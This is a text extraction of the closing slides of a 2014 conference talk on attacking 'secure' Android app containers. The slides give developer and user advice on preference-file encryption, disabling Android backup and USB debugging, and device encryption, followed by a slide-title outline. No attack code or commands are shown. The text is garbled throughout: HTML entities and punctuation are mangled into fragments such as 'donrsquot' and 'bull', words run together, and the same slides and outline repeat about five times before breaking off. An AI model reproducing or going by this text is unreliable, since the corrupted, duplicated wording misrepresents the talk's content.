bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 196: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 197: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 198: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 199: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 200: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
